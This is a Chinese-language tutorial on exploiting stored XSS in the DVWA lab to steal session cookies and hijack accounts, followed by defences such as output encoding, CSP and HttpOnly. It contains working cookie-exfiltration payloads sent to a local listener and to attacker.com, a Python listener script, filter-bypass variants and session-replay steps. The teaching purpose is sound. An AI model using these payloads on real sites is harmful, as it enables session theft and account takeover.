XSS攻击实战:从Cookie窃取到会话劫持的攻防解析
1. 项目概述:从“打Cookie”理解XSS攻击的实战价值
刚入门网络安全的朋友,可能对“XSS”这个词既熟悉又陌生。熟悉是因为它总在各种漏洞报告中高频出现,陌生则是因为它听起来像个抽象的概念。但当你看到“打Cookie”这个后缀时,整个画面就生动起来了。这就像学武术,光知道招式名称没用,你得知道这一拳打出去,到底能击中对手的哪个要害。在Web安全领域,Cookie就是那个关键的“要害”之一,而XSS(跨站脚本攻击)则是窃取这个“要害”最经典、也最让开发者头疼的手段之一。
简单来说,这个“项目”的核心,就是通过实战演练,掌握如何利用一个存在的XSS漏洞,去窃取用户的会话Cookie。这绝不是为了教你做坏事,恰恰相反,只有亲身体验过攻击者是如何“得手”的,你才能深刻理解防御的重要性,知道该在哪里筑起高墙。很多安全规范,比如对用户输入进行严格过滤、设置HttpOnly属性,如果你没亲眼见过Cookie被轻松盗走的场景,可能永远觉得它们是繁琐的、可忽略的“建议”。但当你成功“打”下一次Cookie,并用它登录了别人的账户时,那种震撼会让你彻底改观。
所以,无论你是正在学习CTF(Capture The Flag)竞赛的学生,还是希望提升代码安全性的开发者,或是刚踏入安全行业的新人,这次对“XSS打Cookie”的深度拆解,都将是一次极具价值的实操之旅。我们会绕过枯燥的理论,直接搭建靶场、构造Payload、启动监听、捕获数据,并分析每一个环节背后的原理与防御思路。记住,我们的目标是:通过攻击者的视角,锻造防御者的盾牌。
2. XSS与Cookie:漏洞原理与攻击链条解析
在动手之前,我们必须把两个核心概念——“XSS”和“Cookie”——以及它们之间的危险关系彻底理清。这决定了我们后续所有操作能否成功,以及如何有针对性地进行防御。
2.1 XSS漏洞的本质:信任的滥用
XSS的全称是Cross-Site Scripting,为了和CSS(层叠样式表)区分,才缩写为XSS。它的核心问题在于:网站过度信任了用户提交的数据,并且没有经过妥善处理,就将其作为代码的一部分(通常是HTML或JavaScript)在浏览器中执行了。
想象一下,一个论坛的评论框。设计初衷是让用户输入文字评论。但如果用户输入的不是“你好”,而是一段JavaScript代码,比如<script>alert('你被黑了')</script>,而网站后台直接把这串东西存进数据库,并在其他用户浏览这条评论时,原封不动地显示在网页上。那么,其他用户的浏览器在加载这个页面时,就会把这段<script>标签当作正常的网页代码来执行,弹出一个警告框。这就是一个最基础的XSS攻击。
根据恶意脚本的“存储”和“触发”方式,XSS主要分为三类:
- 反射型XSS:恶意脚本“镶嵌”在URL里。比如攻击者构造一个链接
http://victim-site.com/search?keyword=<script>恶意代码</script>,然后诱骗受害者点击。服务器接收到这个关键词,未经处理就直接拼接到返回的HTML页面中(例如“搜索结果: ”),导致脚本在受害者浏览器执行。这种攻击是一次性的,需要诱骗点击。 - 存储型XSS:这才是更具威胁的“打Cookie”主力。攻击者将恶意脚本直接提交到网站服务器并保存下来(比如写入数据库的评论、留言、昵称字段)。之后,任何普通用户访问到包含这段恶意数据的页面时,脚本都会自动执行。这意味着攻击者只需要提交一次,就可以持续影响所有后续访客,危害巨大。
- DOM型XSS:漏洞出在客户端JavaScript代码逻辑上。前端JS从URL的片段(如
#后面的部分)或本地存储(如LocalStorage)中获取数据,并直接使用innerHTML或eval()等危险方式将其写入页面DOM,导致脚本执行。它的特点是,恶意数据可能完全不经过服务器,只在客户端流转。
2.2 Cookie:网络世界的“身份证”与“门禁卡”
理解了XSS是如何“注入”代码的,我们再来看看它要偷的“Cookie”到底是什么。你可以把Cookie理解为网站发给你的一个“身份证”或“门禁卡”。
当你第一次登录一个网站(比如邮箱)时,服务器验证你的账号密码正确后,就会生成一个唯一的、复杂的字符串(Session ID),通过Set-Cookie响应头发送给你的浏览器。浏览器会把这个字符串像存名片一样保存起来。之后,你在这个网站内点击任何链接、刷新页面,浏览器都会自动在请求头里带上这个Cookie(Cookie: session_id=xxxxxx)。服务器一看这个Cookie,就知道:“哦,是张三来了,他已经登录过了,直接让他看收件箱吧。” 这样就避免了让你每点一个链接都重新输入密码的尴尬。
关键点来了:这个Cookie,尤其是会话Cookie(Session Cookie),就是你在网站上的“临时通行证”。谁拿到了这个Cookie,谁就可以在浏览器中伪装成你,直接进入你的账户,进行查看、操作、甚至修改信息。而默认情况下,浏览器中的JavaScript代码(通过document.cookie这个API)是可以读取到当前网站下的所有Cookie的(除了被标记为HttpOnly的)。
2.3 攻击链条:XSS如何“打”下Cookie
现在,我们把两者串联起来,攻击链条就清晰了:
- 发现漏洞:攻击者找到一个存在存储型或反射型XSS的输入点(如评论框、搜索框、个人信息页)。
- 注入恶意脚本:攻击者不输入正常内容,而是输入一段精心构造的JavaScript代码。这段代码的核心功能是:读取当前用户的
document.cookie,然后偷偷发送到攻击者控制的服务器上。 - 受害者触发:对于存储型XSS,任何正常用户浏览到被污染的页面,脚本自动执行。对于反射型XSS,攻击者需要诱骗受害者点击恶意链接。
- Cookie外带:受害者浏览器在不知情的情况下,执行了恶意脚本。脚本悄悄地在后台创建一个网络请求(比如一个看不见的图片请求,或者一个AJAX请求),将
document.cookie的内容作为参数,发送到攻击者事先准备好的一个网址(如http://attacker.com/steal?cookie=xxxx)。 - 攻击者接收:攻击者在自己的服务器上运行着一个简单的HTTP服务,专门监听并记录所有发来的请求和参数。于是,受害者的Cookie就落入了攻击者手中。
- 身份冒充:攻击者将收到的Cookie值,手动设置到自己的浏览器中,然后访问目标网站。服务器无法区分这是真正的用户还是攻击者,于是攻击者就成功以受害者身份登录了。
这个“读取->发送->接收”的过程,就是所谓的“打Cookie”或“Cookie外带”。整个过程在受害者端几乎是无声无息的,尤其是当攻击者使用Image对象发起请求时,连页面跳转都不会发生,隐蔽性极强。
注意:现代浏览器和网站的安全机制(如CORS、HttpOnly Cookie、Content Security Policy)正在让这种简单的攻击变得困难。但理解其原理,是构建防御和进行渗透测试(在授权范围内)的基础。
3. 靶场环境搭建与工具准备
“纸上得来终觉浅,绝知此事要躬行。” 安全学习尤其如此。我们将在绝对合法的本地环境中,复现整个攻击过程。你需要准备以下工具和环境。
3.1 靶场选择:DVWA与Pikachu
为了安全、合法地练习,我们必须使用专门设计的漏洞演练平台,即“靶场”。它们内置了各种安全漏洞,供学习者测试。这里推荐两个最经典的:
- DVWA (Damn Vulnerable Web Application):老牌且全面的PHP漏洞靶场。它提供了从低(Low)到不可能(Impossible)多个安全等级,非常适合循序渐进地学习。我们将主要使用它的XSS (Stored)模块。
- Pikachu(皮卡丘):一个国人开发的漏洞练习平台,界面友好,漏洞类型丰富,对XSS的分类(反射型、存储型、DOM型)和示例非常清晰,非常适合中文初学者。
安装步骤(以DVWA为例,使用Docker最简便):
- 确保你的电脑上安装了Docker和Docker Compose。
- 创建一个目录,例如
dvwa,并在其中创建一个docker-compose.yml文件。 - 将以下内容复制到文件中:
version: '3' services: dvwa: image: vulnerables/web-dvwa ports: - "8080:80" environment: - PHP_ENABLE_XDEBUG=1 volumes: - dvwa_data:/app volumes: dvwa_data: - 在终端中进入该目录,运行命令:
docker-compose up -d - 等待拉取镜像并启动容器。完成后,在浏览器中访问
http://localhost:8080。 - 首次访问会进入设置页面,点击页面底部的
Create / Reset Database按钮初始化数据库。 - 使用默认账号
admin和密码password登录。 - 在左侧导航栏找到
DVWA Security,将安全级别设置为Low。这样靶场的防护最弱,便于我们演示漏洞。
Pikachu的安装类似,通常也提供Docker镜像或PHP源码包,按照其官方说明部署即可。
3.2 攻击机准备:Python HTTP服务器
攻击者的服务器,用于接收受害者浏览器发来的Cookie。我们不需要一台真正的远程VPS,用本机模拟即可。Python内置的HTTP模块是完成此任务的绝佳工具,轻便且无需安装额外软件。
方法一:使用http.server模块(推荐)这是最简单的方法。打开你的终端(命令行):
- 如果你使用Python 3,执行:
python3 -m http.server 8080 - 如果你使用Python 2,执行:
python -m SimpleHTTPServer 8080
这里的8080是监听的端口号,你可以换成任何未被占用的端口(如 9999, 12345)。执行后,终端会显示Serving HTTP on 0.0.0.0 port 8080 ...。这表示一个简单的HTTP服务器已经在你的电脑上运行,它会监听所有网络接口(0.0.0.0),并准备接收发往http://你的IP:8080的任何请求。
方法二:编写自定义的Socket监听脚本如果你想更精细地控制接收到的数据,比如只记录Cookie而不返回任何网页,可以写一个简单的Python脚本。创建一个文件,比如叫listener.py:
import socket import threading def handle_client(client_socket, addr): try: request = client_socket.recv(1024).decode('utf-8', errors='ignore') print(f"\n[+] 接收到来自 {addr} 的连接") print(f"[*] 请求数据:\n{request}\n") # 简单解析一下,尝试提取GET参数中的cookie if 'GET' in request: # 这是一个非常简单的解析,实际中可能需要更健壮的逻辑 path_part = request.split(' ')[1] if len(request.split(' ')) > 1 else '' print(f"[*] 请求路径: {path_part}") # 发送一个简单的响应,避免浏览器一直转圈 response = "HTTP/1.1 200 OK\r\nContent-Type: text/html\r\n\r\n<h1>Received</h1>" client_socket.send(response.encode()) except Exception as e: print(f"[-] 处理请求时出错: {e}") finally: client_socket.close() def start_server(host='0.0.0.0', port=9999): server = socket.socket(socket.AF_INET, socket.SOCK_STREAM) server.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) server.bind((host, port)) server.listen(5) print(f"[*] 监听器启动在 {host}:{port}") while True: client, addr = server.accept() client_handler = threading.Thread(target=handle_client, args=(client, addr)) client_handler.start() if __name__ == "__main__": start_server()运行这个脚本:python3 listener.py。它会启动一个服务,在9999端口监听,并将所有收到的HTTP请求头和内容打印到终端,方便你查看Cookie是否被发送过来。
关键步骤:获取你的本地IP地址由于靶场和攻击服务器都在同一台电脑上,我们需要用本地IP(如192.168.x.x)而非localhost来访问,以确保浏览器发起的请求能正确路由到我们的监听器。
- Windows:在命令提示符输入
ipconfig,查找“无线局域网适配器 WLAN”或“以太网适配器”下的IPv4 地址。 - macOS/Linux:在终端输入
ifconfig或ip addr,查找inet地址,通常在en0(有线)或wlan0(无线)接口下。
记下这个IP,比如192.168.1.100。我们后续构造的恶意Payload中的攻击者地址,就要换成这个IP和对应的端口(例如http://192.168.1.100:8080)。
实操心得:在虚拟机或复杂网络环境中,有时
localhost、127.0.0.1和本机局域网IP的行为会有差异。为了确保靶场网页中的JavaScript能成功向你的监听器发起请求,统一使用本机局域网IP是最稳妥的选择。如果遇到请求发不出来的情况,首先检查防火墙是否放行了你使用的端口。
4. 实战演练:手把手实现存储型XSS窃取Cookie
环境就绪,理论清晰,现在让我们进入最核心的实战环节。我们将以DVWA靶场的“存储型XSS(Stored XSS)”为例,完成一次完整的“打Cookie”攻击。
4.1 漏洞点探测与注入
- 定位漏洞模块:登录DVWA后,在左侧菜单找到
XSS (Stored)并点击进入。这是一个简单的留言板应用,有Name和Message两个输入框,以及一个Sign Guestbook提交按钮。 - 理解低安全级别:DVWA在
Low级别下,后端PHP代码几乎没有任何过滤。查看源码(点击页面上的View Source)可以看到,它直接使用了mysqli_real_escape_string来防止SQL注入,但对于XSS,它只是用htmlspecialchars处理了Name字段,却没有处理Message字段!这就是我们绝佳的注入点。// 关键源码片段 (DVWA Low级别) $name = htmlspecialchars( $_GET[ 'name' ] ); // Name被转义了 $message = $_GET[ 'message' ]; // Message 原样输出!危险! - 构造测试Payload:我们先注入一个无害的弹窗,测试漏洞是否存在。在
Message输入框中输入:<script>alert('XSS Test')</script>,Name随便填(比如test),然后点击提交。 - 观察结果:提交后页面刷新,如果你的浏览器弹出了一个写着“XSS Test”的警告框,恭喜你,漏洞存在!同时,你会发现这条留言已经存储在页面底部。这意味着所有后来访问这个页面的用户,都会自动执行这段脚本,这就是存储型XSS的可怕之处。
4.2 构造Cookie窃取Payload
测试成功,现在我们把无害的弹窗脚本,替换成真正窃取Cookie的恶意脚本。核心思路是:让受害者的浏览器悄悄访问我们监听服务器的地址,并把Cookie作为URL参数带过去。
Payload 1:利用Image对象(最隐蔽)这是最经典、最隐蔽的方式。我们创建一个不显示在页面上的Image对象,将其src属性设置为我们的监听地址加上Cookie。浏览器会尝试加载这个“图片”,从而发起一个GET请求到我们的服务器。 在Message框中输入:
<script>new Image().src='http://192.168.1.100:8080/steal?cookie='+encodeURIComponent(document.cookie);</script>new Image():创建一个图片DOM对象,但不会插入到页面中,用户无感知。.src=‘...’:设置图片源。浏览器发现src变化,会立即向该地址发起GET请求。http://192.168.1.100:8080:替换成你之前启动的Python HTTP服务器地址和端口。steal?cookie=:这是请求的路径和参数名,可以任意定义,方便我们在监听端识别。encodeURIComponent(document.cookie):document.cookie获取当前页面的所有Cookie。encodeURIComponent对其进行URL编码,防止Cookie中的特殊字符(如分号;、等号=)破坏URL结构。
Payload 2:利用img标签的onerror事件(兼容性备用)有时,某些环境对直接执行<script>标签有更严格的限制。我们可以利用HTML标签的事件属性来执行JS。<img>标签在加载失败时会触发onerror事件。 在Message框中输入:
<img src="invalid.jpg" onerror="window.location='http://192.168.1.100:8080/steal?cookie='+encodeURIComponent(document.cookie)"><img src="invalid.jpg">:故意设置一个不存在的图片路径,确保加载失败。onerror="...":加载失败时,执行其中的JavaScript代码。window.location=:这会导致浏览器页面跳转到攻击者地址。这种方式用户会有感知(页面跳转),不如第一种隐蔽,但可以作为备选方案。
Payload 3:利用document.write动态写入标签这种方法将恶意脚本作为HTML内容动态写入文档。
<script>document.write('<img src="http://192.168.1.100:8080/?'+document.cookie+'"/>')</script>原理类似,通过document.write在页面中写入一个图片标签,其src指向我们的服务器并携带Cookie。
注意事项:在实际攻击或CTF题目中,输入框往往有长度限制。DVWA的
Message框也可能有。如果遇到,你需要缩短Payload,或者使用更简短的写法,例如将encodeURIComponent简写,甚至可以先注入一个加载外部JS的短脚本<script src=//attacker.com/evil.js></script>,将复杂的窃取逻辑放在远程的evil.js文件中。
4.3 启动监听与接收数据
- 确保你的Python HTTP服务器正在运行(终端窗口保持打开)。例如,在终端运行着
python3 -m http.server 8080。 - 回到DVWA页面,将构造好的Payload 1填入
Message,点击提交。 - 立即观察你的终端(运行HTTP服务器的那个窗口)。你应该会看到类似以下的访问日志:
成功了!日志清晰地显示,有一个请求访问了192.168.1.100 - - [日期时间] "GET /steal?cookie=PHPSESSID=abc123def456; security=low HTTP/1.1" 200 -/steal路径,并且参数cookie后面跟着一串值。这串值就是DVWA当前用户的Cookie!通常包含PHPSESSID(PHP会话ID)和security(DVWA安全等级)等信息。
4.4 利用窃取的Cookie进行会话劫持
拿到Cookie只是第一步,证明其危害性才是关键。我们现在模拟攻击者,使用盗取的Cookie登录受害者账户。
- 准备一个新的浏览器或隐私窗口:为了模拟攻击者的环境,最好使用另一个浏览器(如Firefox,如果你主用Chrome的话),或者Chrome的“无痕模式”。确保这个新环境从未登录过DVWA。
- 打开开发者工具:在新浏览器中,按F12打开开发者工具,切换到
Application(应用)或Storage(存储)选项卡(不同浏览器名称略有差异)。 - 找到Cookie设置项:在侧边栏找到
Cookies,并展开当前DVWA的网站地址(如http://localhost:8080)。 - 添加/修改Cookie:你会看到一个表格,里面有
Name和Value等列。点击“+”号或右键菜单,添加一行。将你在监听终端里看到的Cookie键值对填进去。Name:PHPSESSIDValue:abc123def456(替换成你实际收到的值)- 再添加一行:
Name:securityValue:low- (注意:
Domain和Path通常会自动填充为当前网站,确保一致。HttpOnly列如果是勾选的,你可能无法手动添加,这正好说明了HttpOnly属性的防御作用。DVWA的默认Cookie通常未设置HttpOnly,所以我们可以操作。)
- 刷新页面:添加完成后,直接刷新DVWA的首页(
http://localhost:8080或http://你的IP:8080)。 - 见证奇迹:你会发现,无需输入任何账号密码,你已经直接以受害者的身份(admin)登录了系统!左侧菜单显示你是已登录状态,可以执行任何操作。
这个过程就是“会话劫持”。攻击者通过XSS窃取你的会话Cookie,然后利用这个Cookie在另一个浏览器环境中伪装成你,获得你账户的全部权限。
实操心得:在真实的渗透测试中,窃取到的Cookie可能包含认证令牌、用户ID等多种信息。你需要仔细分析其结构,并正确设置到浏览器中。有些网站会校验Cookie与IP地址、User-Agent的绑定,增加了利用难度。但此实验清晰地展示了,一个未加防护的Cookie被窃取后所带来的直接风险。
5. 攻击Payload的变种与高级技巧
基础的Payload可能在一些有简单过滤的场景下失效。因此,了解Payload的变形和绕过技巧至关重要。这就像黑客与防护系统之间的“猫鼠游戏”。
5.1 编码与混淆绕过基础过滤
很多防护措施会简单过滤<script>、onerror等关键词。我们可以通过编码来绕过。
HTML实体编码:浏览器在解析HTML时,会将实体编码解码。我们可以将Payload编码后注入。
- 原始Payload:
<img src=x onerror=alert(1)> - 编码后:
<img src=x onerror=alert(1)> - 注入时,如果后端只做了一次解码,或者在某些上下文中(如
innerHTML赋值),编码后的字符串可能会被还原成可执行的代码。
JavaScript编码:
- Unicode转义:
alert(1)可以写成\u0061\u006c\u0065\u0072\u0074(1) - 十六进制编码:
alert可以写成\x61\x6c\x65\x72\x74 - 组合进Payload:
<img src=x onerror=\u0061\u006c\u0065\u0072\u0074(1)>
利用事件处理器的多种写法:
onerror是HTML属性,也可以写成大小写混合OnErRor,或者使用其他事件如onload、onmouseover。- 对于
<a>标签,可以利用href执行JavaScript:<a href="javascript:alert(document.cookie)">点击</a>
5.2 针对不同上下文构造Payload
XSS发生的“上下文”决定了Payload的构造方式。主要分为三种:
HTML上下文:这是我们目前主要练习的。恶意输入被直接插入到HTML标签之间或属性值中。
- 在标签内:
<div>用户输入点</div>。如果输入是<script>alert(1)</script>,就会执行。 - 在属性值内:
<input value="用户输入点">。如果输入是" onfocus="alert(1),闭合掉原引号,就变成了<input value="" onfocus="alert(1)">,创造了新的事件属性。 - 绕过技巧:如果属性值被引号包裹,需要先闭合引号。如果过滤了空格,可以用
/或换行符%0a代替事件名与代码之间的空格。
- 在标签内:
JavaScript上下文:用户输入被直接放入
<script>标签内的JS代码中。- 例如:
<script>var userInput = "用户输入点";</script> - 如果输入是
"; alert(1);//,就会闭合前面的字符串和语句,注释掉后面的代码,变成:var userInput = ""; alert(1);//";,从而执行alert。 - 绕过技巧:需要闭合字符串和语句。利用JS的字符串拼接、模板字符串、
eval()、setTimeout()等函数。
- 例如:
URL/属性上下文:用户输入被放入如
href、src、action等URL属性中。- 例如:
<a href="用户输入点">链接</a> - 如果输入是
javascript:alert(1),点击链接就会执行JS。这是“伪协议”利用。 - 绕过技巧:如果
javascript:被过滤,可以尝试大小写、插入空白字符(java%0ascript:)、或者利用data:协议等。
- 例如:
5.3 使用短域名与URL缩短服务
在实际攻击中,Payload里的攻击者地址(如http://attacker.com)太长,可能超出输入限制或引起怀疑。攻击者会使用短域名或URL缩短服务。
- 将
http://192.168.1.100:8080/steal?cookie=缩短为http://tinyurl.com/abc123或http://bit.ly/xyz789。 - 然后在自己的服务器上,配置短域名指向真正的接收脚本。这样Payload可以变得更短:
<script>new Image().src='http://短链/?'+document.cookie;</script>
5.4 利用SVG等非传统标签
现代Web应用可能对<script>、<img>、<iframe>等传统危险标签过滤严格。但SVG(可缩放矢量图形)标签内同样可以包含JavaScript,且可能被放过。
<svg onload="fetch('http://attacker.com/?c='+document.cookie)"><svg>标签的onload事件在SVG加载完成后触发,可以用来执行窃取操作。
注意事项:这些绕过技巧的成功率高度依赖于目标网站具体的过滤和净化规则。没有一种Payload是万能的。在实战或CTF中,需要不断尝试、观察响应、分析过滤逻辑,进行Fuzzing(模糊测试)。一个常用的方法是,先注入一个简单的测试载荷如
<svg onload=alert(1)>,看哪个事件或标签没被过滤,再围绕它构造最终的窃取Payload。
6. 从攻击到防御:核心防护策略详解
经历了完整的攻击过程,我们更能切身体会到防御的重要性。一个健壮的Web应用,必须从多个层面构建纵深防御体系来对抗XSS。
6.1 输入验证与输出编码(治本之策)
这是防御XSS最根本、最有效的手段。其核心思想是:不要信任任何用户输入。
输入验证(Validation):在数据进入应用时,就进行严格的检查。根据业务逻辑,定义明确的数据格式(白名单)。
- 示例:姓名字段只允许字母、数字和少数特定符号,长度在2-20字符之间。可以使用正则表达式进行匹配。
- 注意:输入验证主要防止“非法数据”,但不能完全解决“合法但恶意”的数据(比如一个包含JS代码的合法文本)。因此需要与输出编码配合。
输出编码(Encoding):在将数据输出到不同上下文时,进行相应的转义。
- 输出到HTML正文:使用HTML实体编码。将
<转成<,>转成>,&转成&,"转成",'转成'。- PHP:
htmlspecialchars($input, ENT_QUOTES, 'UTF-8') - Python (Django模板):
{{ variable|escape }}或默认自动转义。 - JavaScript (前端): 尽量避免使用
.innerHTML,改用.textContent。如果必须用,可使用DOMPurify这样的库进行净化。
- PHP:
- 输出到HTML属性:同样使用HTML实体编码,并确保属性值始终被引号包裹。
- 输出到JavaScript:不能使用HTML编码,而需要使用JavaScript字符串编码。将数据放入引号中,并转义其中的引号和反斜杠。
- 例如:
var userData = "<?php echo json_encode($data, JSON_HEX_TAG | JSON_HEX_APOS | JSON_HEX_QUOT | JSON_HEX_AMP); ?>";
- 例如:
- 输出到URL:使用URL编码 (
encodeURIComponent)。 - 现代框架:如React, Vue, Angular等,默认会对绑定到模板的数据进行输出编码,这是巨大的进步。但要注意使用
v-html(Vue) 或dangerouslySetInnerHTML(React) 时的风险。
- 输出到HTML正文:使用HTML实体编码。将
6.2 内容安全策略(CSP)
CSP是一个强大的浏览器安全特性,它通过HTTP响应头Content-Security-Policy来告诉浏览器,哪些外部资源(脚本、样式、图片、字体等)可以被加载和执行。它可以极大地缓解XSS的影响。
一个严格的CSP策略示例:
Content-Security-Policy: default-src 'self'; script-src 'self' https://trusted.cdn.com; img-src 'self' data:; style-src 'self' 'unsafe-inline';default-src 'self':默认只允许加载同源资源。script-src 'self' https://trusted.cdn.com:脚本只允许来自同源和指定的可信CDN。这会阻止内联脚本(如<script>alert(1)</script>)和来自其他域的恶意脚本执行。img-src 'self' data::图片只允许同源和data URI。style-src 'self' 'unsafe-inline':样式允许同源和内联(很多UI框架需要内联样式)。
CSP如何防御“打Cookie”:即使攻击者成功注入了<script>new Image().src='http://attacker.com/?'+document.cookie;</script>,由于CSP限制了img-src或connect-src(控制fetch、XHR等请求),浏览器会拒绝向attacker.com发起请求,从而阻止了Cookie外带。
6.3 HttpOnly Cookie属性
这是我们本次攻击的“克星”。在设置Cookie时,服务器可以通过添加HttpOnly标志来保护它。
Set-Cookie: PHPSESSID=abc123def456; HttpOnly; Secure; SameSite=Strict- HttpOnly:这是关键。设置了此属性的Cookie,将无法通过客户端的JavaScript(即
document.cookie)读取。它只会在HTTP请求中自动携带。这样一来,即使网站存在XSS漏洞,攻击者也无法通过脚本窃取到被标记为HttpOnly的会话Cookie。 - Secure:此Cookie只通过HTTPS协议传输,防止在明文中被窃听。
- SameSite:可以设置为
Strict或Lax,用于控制Cookie在跨站请求中是否发送,能有效防御CSRF攻击,对某些XSS场景也有辅助防御作用。
实操验证:你可以修改DVWA的源码(不推荐在生产环境靶场做),或者在其它练习中,尝试设置HttpOnly Cookie。然后重复攻击步骤,你会发现监听器收到的Cookie参数为空或者不包含关键的会话ID,document.cookie无法读取到它。
6.4 其他辅助措施
- 使用现代框架并保持更新:如前所述,主流前端框架有内置的XSS防护机制。
- 避免危险的DOM API:在JavaScript中,避免使用
innerHTML、outerHTML、document.write()等直接将字符串作为HTML解析的方法。优先使用textContent、setAttribute等安全API。 - 实施严格的CORS策略:控制哪些外域可以访问你的资源,虽然主要针对CSRF和敏感数据泄露,但也增加了攻击难度。
- 定期安全审计与渗透测试:使用自动化工具(如OWASP ZAP, Burp Suite)和手动测试,定期检查应用是否存在XSS等漏洞。
- 安全开发培训:让所有开发人员都理解XSS的原理、危害和防护方法,从源头减少漏洞引入。
个人体会:防御XSS是一个系统工程,没有银弹。最有效的策略是“输入验证 + 输出编码 + HttpOnly Cookie + CSP”的组合拳。在我参与过的项目安全加固中,仅仅为关键会话Cookie加上HttpOnly属性,就阻断了大量自动化XSS攻击脚本的利用路径。而部署一个恰当的CSP,即使存在未发现的XSS漏洞,也能像安全网一样,将损失控制在最小范围。记住,安全的目标不是追求100%无漏洞(这几乎不可能),而是当漏洞被触发时,将影响降到最低。
